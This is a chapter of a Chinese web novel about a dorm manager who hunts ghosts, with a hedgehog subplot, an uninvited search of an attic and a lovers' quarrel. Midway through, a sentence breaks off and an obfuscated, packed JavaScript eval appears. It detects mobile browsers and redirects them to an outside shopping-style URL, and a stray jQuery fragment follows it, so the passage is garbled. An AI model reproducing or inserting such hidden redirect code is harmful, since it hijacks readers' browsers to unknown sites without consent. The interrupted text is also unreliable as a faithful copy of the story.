84. 第 84 章

作品:《主业宿管,副业抓鬼

    “不都说小宝在这吗?怎么不在。”


    陶常三番两次来张洪英家,借采访的名义是来找消失几天的小宝的,有小动物说是被张洪英抓走了,可张洪英家能藏东西就是厕所旁边的柴房,上次就想找,结果碰到刘根死了,这次好不容易趁人多,可他在柴房找了半天,并没有小宝的踪影。


    “小宝~”


    陶常小声叫着小宝的名字,不远处时不时传来刘梦和张慧的说话声,她们等会要是从后门一出来,准能看到自己,陶常抓紧时间,可能找的地方都看过了,依旧什么都没有。


    眼看再不回去就要露馅了,陶常心不甘情不愿出了柴房。


    柴垛里一只圆滚滚的刺猬小心翼翼探出头,手里还捧着吃到一半的苹果,心里长舒了口气


    “好险,差点就没自助餐吃了。”


    它心有余悸咬了口苹果。


    *


    中午不可避免要喝酒,拾冬真的羡慕起这个烟酒不分家的老太太家的基因了,这么造还能活一百多岁。


    刘盼自然也避免不了,不过念在她年龄小,象征性倒了小半碗,席间张慧看着刘盼,问起她有没有开亲,说要不要给介绍。


    刘盼连忙红着脸摇头,眼神悄悄转向吃饭的陶常,“不用,我不用。”


    “这有什么怕羞的,喜欢就去追。”张洪英说完朝拾冬看了一眼,“是不是。”


    和我有什么关系。


    拾冬不搭腔埋头吃饭。


    “那你们呢,你们什么时候结婚?”张慧本就是和谁都能聊几句的那类人,这会儿喝了酒,哪怕觉得拾冬看上去不好说话,现在喝了酒也止不住好奇的心理发问。


    这话一问出来,在场人不约而同看向拾冬和郁之。


    拾冬捏着筷子,脑子里闪过几个片段,破坏气氛的话脱口而出:“我这辈子都不可能结婚,不要问了。”


    像在热闹的桌上摔了一个杯,扔了一个碗,大家神色各异,张慧有些尴尬笑了笑,附和说“好。”


    拾冬吃干净碗里的饭,一言不发直接离席。


    “陶书记,你等会儿把车开回去吧。”郁之从车里拿了把伞,把车钥匙留给陶常也跟着离开。


    “好。”


    两人一走,刘梦作为和张慧从小到大一起长大的姐妹责怪起来:“早跟你说了,你这张嘴别一天到晚没个把门儿的。”


    “这不聊天吗,话赶话。”张慧为自己辩解,“再说他俩不是一对儿吗,有什么不能问的。”


    “人家有自己的打算,你在这多什么嘴。”


    张慧撇了撇嘴转移话题:“行了行了,我以后不说了。”


    话题岔开,一顿饭平安无事吃完,张洪英喝了两碗酒,迷迷糊糊要回屋睡觉,临睡前不忘叮嘱张慧:“记得喂刺猬。”


    张慧正和刘梦收拾碗筷,随口回答一句:“知道了。”


    “奶还养了刺猬?”刘梦好奇问。


    “前阵子在路边捡的,被摩托车碾了脚,本来想养好了给它放走,结果它赖着不走了,天天吃这吃那,还乱拉,我烦死了。”


    “刺猬在哪?”


    张慧看了眼压抑着什么情绪的陶书记,回答:“就柴房里,早上还吃了半个苹果,现在喂它指定不吃。”


    “我去看看。”


    “我也去。”


    这个点应该要给饭了吧。


    小宝仰躺在干柴上,舒服地小脚趾都叉开了。


    不过苹果刚吃完,也不饿,可以再等等。


    这时柴房“吱呀”一声,小宝慢吞吞从干柴上爬起,扭头一看,身体“嗖”一下团成了一个刺球。


    “还真的有只刺猬。”刘盼还是第一次这么近看刺猬,伸手轻轻碰了碰,刺是硬的。


    “是啊,真有个刺猬。”


    刺猬听到陶常的声音,蜷缩得更紧了。


    完了完了,他怎么没走啊。


    “刘盼,你要不去拿点西瓜来,看看它吃不吃。”


    “好啊。”


    刘盼一走,陶常捏起小宝,“你要不要解释一下?”


    小宝怂里怂气探出脑袋,眼睛滴溜溜地转:“陶书记,我没干什么坏事吧。”


    “你说呢?”


    小宝心虚把头缩回去。


    “大宝找了你十几天,还以为你死了,你在这吃了十几天,你看看你现在,胖成什么样了。”


    “那人家看我可爱非要给我吃,我有什么办法。”


    陶常往后看了一眼,刘盼随时可能回来,他不能多聊下去,而且看小宝过得有滋有味,虽然生气但好在没有受伤,他把小宝放回干柴垛,“你自己看着办,是回山上还是在这白吃白喝,总之我今晚会告诉大宝你的下落,它急死了。”


    小宝趴在干柴上,想起哥哥,眼神难过起来。


    “知道了,真是的,当了男人之后越来越凶了。”


    陶常用手指戳了戳它的肚皮。


    “陶书记,西瓜好像没有了。”


    “哦,那就算了,看它挺胖的,少吃点吧。”


    小宝用刺扎了扎陶常的手指。


    “是啊。”


    刘盼站在门口,盯着陶常和刺猬玩闹的侧影。


    *


    这个时候很热,大夏天,路上看不到一个人,拾冬和郁之并排走着,经过去往刘盼家那条黄土路的时候,拾冬拐了进去。


    “去刘盼家看看。”


    “直接进去当做小偷怎么办?”


    “她家也没什么能偷的吧。”


    郁之不语,热气一阵阵蒸腾,夹杂着来自田里晒干的植物气味,蝉鸣,潺潺溪水声,午后光线跟镜子似的,刺得人睁不开眼,快看到刘盼家的房子时,拾冬问:“你没什么想问的吗?”


    “师姐希望我问什么?问你为什么不想结婚吗?如果你不想说,我也不是非要知道答案。”


    应该是天热的缘故,即使听完郁之很完美的回答,拾冬还是心里烦躁,但她没有发作,两人刚走进刘盼家,周身便氤氲着淡淡凉意,老房子没有用混凝土,到处通风。


    刘盼家确实很破,一进门正中间是餐桌和几张长板凳,靠墙放着木桌,上面有几个暖水壶和刷牙的杯子,鞋子,拖鞋,长筒雨鞋,随意摆在地上,看样子都是刘锋的,这里连墙都是木头的,墙上挂着雨衣,草帽,地面是黑色的三合土,踩上去硬硬的。


    入目之处的所有东西都上了年纪,被岁月摩擦出破旧的光滑。


    到底是不请自来,他们没往人卧室走,主要是想看看刘盼说的阁楼。


    “师姐,我去吧。”郁之拉住要爬楼梯的拾冬。


    “不用,我自己可以。”拾冬冷淡拒绝,下一秒又加上一句,“你在下面守着吧。”


    和之前说“不用你管”的语气相似,是拉开距离的意思。


    郁之抓着楼梯两侧,看着她慢慢爬上楼梯。


    拾冬爬上阁楼,找不到灯在哪,便打开手机闪光灯到处照。


    阁楼很矮,只能半弓着腰,阁楼小,有什么东西一览无余。


    几个容量有大有小,高矮不一的瓦缸,两个空筐子,没了把手,生了厚锈的锄头和犁耙,捆在一起的厚厚编织袋,和一张小矮凳,看上去就是个杂物间。


    拾冬一个个打开瓦缸的盖,各色味道冲出来,都没看到刘锋说的鬼。


    “言言,你在这吗?”拾冬对着瓦缸说话。


    瓦缸没有动静。


    感觉跟静物说话挺傻的,又考虑到自己此时的行为和小偷无异,拾冬待了几分钟后,爬下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220006|187222||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    楼梯。


    “走吧。”拾冬看似不经意拒绝郁之想扶自己的手,头也不回率先走出刘盼家。


    昏暗的阁楼里,瓦缸的盖子轻微震动起来。


    两人沉默到家,刘姐他们还没回来,红绿两头她们坐在厅里斗地主,祝婉儿在这待了几天,除了她的发型和服饰,俨然和现代人无异了。


    “你们回来了,我上午到刘盼家,没发现什么动静。”绿头出着牌漫不经心地说。


    “我刚也去了,是没发现什么。”


    珍珠正在和小鬼玩,小鬼下手没轻没重,揪得珍珠的尾巴嗷嗷叫,拾冬上前制止,反倒是红头维护起来,


    “小孩子嘛,难免淘气。”


    这些天红头天天和小鬼在一起,俨然把自己带入到了妈妈角色。


    “不行,珍珠,我们去午睡。”拾冬将珍珠抱起,有人撑腰的珍珠在拾冬怀里冲小鬼汪汪叫起来。


    “珍珠不去当电灯泡,快下来。”


    这句打趣的话没引来两人的反应,等他们上楼后,红头才压低声音冲在场三人说:“他们是不是吵架了?”


    “看样子是。”向云黛出了一对顺子,“不吵架的情侣是不存在的。”


    “也对,不管啦,反正他们会和好的。我要我要,六七八九十。”


    向云黛往楼梯口看了一眼,说:“不要。”


    出了很多汗,索性冲了个澡,身体清爽了,但心里没有,有股气,在心里横冲直撞。


    “师姐...”郁之在客厅拦住要回屋的拾冬,“是我哪句话说错了吗?”


    “没有。”


    确实没有,相反一直以来郁之都很体贴,好像知道自己喜欢听什么,每句话都回答得完美,像一个既定程序的仿真人。


    拾冬不喜欢这样。


    “那师姐为什么生气?”


    “没有。”


    这是拾冬一贯的行为方式,不沟通也不说明,以前和孟永就是这样,经常把他气到吹胡子瞪眼。


    “拾冬。”郁之很少叫她的名字,这下叫了像家长发怒前的讯号。


    “有事?”


    拾冬从来不是怕威胁的人,她属于硬刚,步子往后退了几步,把眼前的人更加清晰投射到双眸里。郁之压着眉头,一直笑着的嘴角此时也变成平平的直线,连眼睛都带着冷。


    她很少见郁之这般严肃的表情,又或者这才是郁之原本的样子。


    “郁之,我要知道你第二个秘密。”


    郁之维持原本动作不变,手指微微蜷缩起来。


    我介意你的不坦白,介意那些你没有向我明说去了哪里的日子,介意我们用力拥抱的同时,我却不知道你在想什么。


    那些介意藏在每次你试图用亲吻,依赖,示弱来粉饰太平的时刻,今天不过是个导火索,就算今天不爆发,以后也会。


    沉默的滴答声在两人中间报时,珍珠似乎也察觉到了,乖乖蹲在拾冬脚边不说话。


    “在你想好之前就先这样吧。”拾冬转身往房里走,没两步被身后的人拉住。


    “就先这样是什么意思?”


    拾冬没有转头,却能通过声音模拟出郁之的表情。


    她好像把事情变得更糟糕了,那股横冲直撞的气,并没有因为把郁之逼得手足无措而得到丝毫缓解,反倒更加让自己难过。


    可是不示弱是拾冬的准则,她用力挣开郁之的手,回答:“字面意思。”


    珍珠跟着跑了起来,怕自己跑慢一点也会像郁之一样关在门外。它爬上拾冬的床,看向闭着眼不说话的拾冬,心疼用头碰了碰她的脸,喉咙发出“呜呜呜”的叫声。


    拾冬依旧闭着眼,伸手揽过珍珠小小的,带有凉气的身子,她埋在一块冰里,就这么睡了过去。